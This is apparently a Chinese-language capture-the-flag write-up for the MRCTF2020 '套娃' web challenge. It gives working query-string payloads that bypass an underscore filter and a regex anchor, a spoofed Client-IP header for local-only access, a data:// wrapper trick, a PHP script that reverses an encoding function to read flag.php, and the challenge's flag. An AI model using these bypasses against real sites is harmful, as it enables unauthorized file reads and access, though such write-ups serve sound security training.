[MRCTF2020]套娃

m1saka1發表於2024-11-10
TF2

開啟靶機,先看原始碼

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->

需要繞過兩個if
第一個if遮蔽get請求語句中得_和它的url編碼%5f，我們這裡可以用%5F來繞過(其實根據php匹配規則 . 和 空格 也能繞過)
第二個if要求b_u_p_t值為23333且正則匹配23333，正規表示式中的 $ 預設只匹配字串的結尾，而不會跨行檢查,所以這裡我們用換行符%0a繞過
最終payload：?b%5Fu%5Fp%5Ft=23333%0a
flag在secrettw.php

訪問檢視原始碼，只允許local訪問，我們抓個包改client-ip值為127.0.0.1，檢視原始碼

點選檢視程式碼 
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jsfuck直接f12控制檯貼上執行

隨便post個Merak值獲得原始碼

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

給出了目標檔案flag.php,一個change方法進行base64解密並進行ASCII 值偏移
先解決file_get_contents($_GET['2333']) === 'todat is a happy day'
用data偽協議寫入即可data://text/plain,todat is a happy day
之後只需讓第二個file_get_contents函式值等於flag.php就行，不過中間有個change方法，我們照著來逆向思維，先反偏移再加密就行，直接放指令碼

<?php

$offset_str = "flag.php";
$original_str = '';

for ($i = 0; $i < strlen($offset_str); $i++) {
    $original_char_ascii = ord($offset_str[$i]) - ($i * 2);
    $original_str .= chr($original_char_ascii);
}

echo base64_encode($original_str);

得到ZmpdYSZmXGI=
最終payload=?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
檢視原始碼獲得flag

flag{1defb82b-fa8e-4c03-8950-1eccc3453248}

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